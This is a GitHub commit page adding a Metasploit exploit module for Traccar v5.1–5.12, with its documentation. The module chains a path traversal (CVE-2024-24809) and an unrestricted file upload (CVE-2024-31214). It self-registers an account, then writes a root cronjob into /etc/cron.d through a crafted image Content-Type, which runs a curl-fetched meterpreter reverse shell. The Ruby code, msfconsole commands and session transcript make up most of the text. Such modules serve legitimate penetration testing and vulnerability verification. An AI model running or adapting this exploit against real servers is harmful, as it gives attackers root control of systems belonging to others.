-
Notifications
You must be signed in to change notification settings - Fork 14.1k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
PoC & Documentation
- Loading branch information
Showing
2 changed files
with
341 additions
and
1 deletion.
There are no files selected for viewing
79 changes: 79 additions & 0 deletions
79
documentation/modules/exploit/linux/http/traccar_rce_upload.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
## Vulnerable Application | ||
|
||
This module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability | ||
(CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration, | ||
enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, | ||
potentially resulting in a complete system compromise. | ||
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the | ||
specified payload. | ||
|
||
## Testing | ||
|
||
The software can be obtained from | ||
[the vendor](https://github.com/traccar/traccar/releases/download/v5.12/traccar-linux-64-5.12.zip). | ||
|
||
Installation instructions are available [here](https://www.traccar.org/linux/). | ||
|
||
The vulnerable application runs by default on Eclipse Jetty, which listens on TCP port 8082. | ||
|
||
**Successfully tested on** | ||
|
||
- Traccar v5.12 on Rocky Linux 9.4 | ||
- Traccar v5.11 on Rocky Linux 9.4 | ||
|
||
## Verification Steps | ||
|
||
1. Install and run the application | ||
2. Start `msfconsole` and run the following commands: | ||
|
||
``` | ||
msf6 > use exploit/linux/http/traccar_rce_upload | ||
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp | ||
msf6 exploit(linux/http/traccar_rce_upload) > set RHOSTS <IP> | ||
msf6 exploit(linux/http/traccar_rce_upload) > set LHOST <IP> | ||
msf6 exploit(linux/http/traccar_rce_upload) > exploit | ||
``` | ||
|
||
You should get a meterpreter session in the context of `root`. | ||
|
||
## Options | ||
|
||
### USERNAME | ||
Username to be used when creating a new user. | ||
|
||
### PASSWORD | ||
Password for the new user. | ||
|
||
E-mail for the new user. | ||
|
||
## Scenarios | ||
|
||
Running the exploit against Traccar v5.12 on Rocky Linux 9.4, using curl as a fetch command, should result in an output similar | ||
to the following: | ||
|
||
``` | ||
msf6 exploit(linux/http/traccar_rce_upload) > exploit | ||
[*] Started reverse TCP handler on 192.168.217.128:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[*] Registering new user... | ||
[*] Authenticating... | ||
[*] Adding new device... | ||
[*] Uploading crontab file... | ||
[*] Cronjob successfully written - waiting for execution... | ||
[*] Sending stage (3045380 bytes) to 192.168.217.138 | ||
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.138:58196) at 2024-08-25 17:03:02 -0400 | ||
[*] Exploit finished, check thy shell. | ||
meterpreter > sysinfo | ||
Computer : localhost.localdomain | ||
OS : Red Hat 9.4 (Linux 5.14.0-427.13.1.el9_4.x86_64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > getuid | ||
Server username: root | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1 +1,262 @@ | ||
draft | ||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)', | ||
'Description' => %q{ | ||
Remote Code Execution in Traccar v5.1 - v5.12. | ||
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). | ||
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise. | ||
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'Michael Heinzl', # MSF Module | ||
'yiliufeng168', # Discovery CVE-2024-24809 and PoC | ||
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC | ||
], | ||
'References' => [ | ||
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'], | ||
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'], | ||
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'], | ||
[ 'CVE', '2024-31214'], | ||
[ 'CVE', '2024-24809'] | ||
], | ||
'DisclosureDate' => '2024-08-23', | ||
'Platform' => [ 'linux' ], | ||
'Arch' => [ ARCH_CMD ], | ||
'Targets' => [ | ||
[ | ||
'Linux Command', | ||
{ | ||
'Arch' => [ ARCH_CMD ], | ||
'Platform' => [ 'linux' ], | ||
'DefaultOptions' => { | ||
'FETCH_COMMAND' => 'CURL', | ||
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp' | ||
|
||
}, | ||
'Type' => :unix_cmd | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [EVENT_DEPENDENT], | ||
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(8082), | ||
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]), | ||
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]), | ||
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]), | ||
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/']) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'api/server') | ||
}) | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError | ||
return CheckCode::Unknown | ||
end | ||
|
||
unless res && res.code == 200 | ||
return CheckCode::Unknown | ||
end | ||
|
||
data = res.get_json_document | ||
version = data['version'] | ||
if version.nil? | ||
return CheckCode::Unknown | ||
else | ||
vprint_status('Version retrieved: ' + version) | ||
end | ||
|
||
unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12')) | ||
return CheckCode::Safe | ||
end | ||
|
||
return CheckCode::Appears | ||
end | ||
|
||
def exploit | ||
execute_command(payload.encoded) | ||
end | ||
|
||
def execute_command(cmd) | ||
print_status('Registering new user...') | ||
body = { | ||
name: datastore['USERNAME'], | ||
email: datastore['EMAIL'], | ||
password: datastore['PASSWORD'], | ||
totpKey: nil | ||
}.to_json | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'api/users'), | ||
'ctype' => 'application/json', | ||
'data' => body | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error | ||
# to run into when this module is executed more than once without updating the provided email address | ||
if res.code == 400 && res.to_s.include?('Unique index or primary key violation') | ||
fail_with(Failure::UnexpectedReply, 'Error: The same E-mail already exists on the system: ' + res.to_s) | ||
end | ||
|
||
unless res.code == 200 | ||
fail_with(Failure::UnexpectedReply, res.to_s) | ||
end | ||
|
||
json = res.get_json_document | ||
|
||
unless json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL'] | ||
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) | ||
end | ||
|
||
print_status('Authenticating...') | ||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'api/session'), | ||
'ctype' => 'application/x-www-form-urlencoded', | ||
'vars_post' => { | ||
'email' => datastore['EMAIL'], | ||
'password' => datastore['PASSWORD'] | ||
} | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
raw_res = res.to_s | ||
unless raw_res =~ /JSESSIONID=([^;]+)/ | ||
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.') | ||
end | ||
|
||
json = res.get_json_document | ||
unless res.code == 200 && json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL'] | ||
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) | ||
end | ||
|
||
jsessionid = ::Regexp.last_match(1) | ||
vprint_status("JSESSIONID: #{jsessionid}") | ||
|
||
name_v = Rex::Text.rand_text_alphanumeric(16) | ||
unique_id_v = Rex::Text.rand_text_alphanumeric(16) | ||
|
||
body = { | ||
name: name_v, | ||
uniqueId: unique_id_v | ||
}.to_json | ||
|
||
print_status('Adding new device...') | ||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, 'api/devices'), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
}, | ||
'ctype' => 'application/json', | ||
'data' => body | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
json = res.get_json_document | ||
|
||
unless res.code == 200 && json.key?('name') && json['name'] == name_v && json.key?('uniqueId') && json['uniqueId'] == unique_id_v && json.key?('id') | ||
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s) | ||
end | ||
|
||
id = json['id'].to_s | ||
body = Rex::Text.rand_text_alphanumeric(1..4) | ||
fn = Rex::Text.rand_text_alpha(1..2) | ||
|
||
print_status('Uploading crontab file...') | ||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
}, | ||
'ctype' => 'image/png', | ||
'data' => body | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
unless res.code == 200 && res.to_s.include?('device.png') | ||
fail_with(Failure::UnexpectedReply, res.to_s) | ||
end | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
}, | ||
'ctype' => "image/png;#{fn}=\"/b\"", | ||
'data' => body | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"") | ||
fail_with(Failure::UnexpectedReply, res.to_s) | ||
end | ||
|
||
body = "* * * * * root /bin/bash -c '#{cmd}'\n" | ||
cronfn = SecureRandom.hex(12) | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"), | ||
'headers' => { | ||
'Cookie' => "JSESSIONID=#{jsessionid}" | ||
}, | ||
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"", | ||
'data' => body | ||
) | ||
|
||
unless res | ||
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.') | ||
end | ||
|
||
unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"") | ||
fail_with(Failure::UnexpectedReply, res.to_s) | ||
end | ||
|
||
# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early | ||
print_status('Cronjob successfully written - waiting for execution...') | ||
sleep(60) | ||
|
||
print_status('Exploit finished, check thy shell.') | ||
end | ||
end |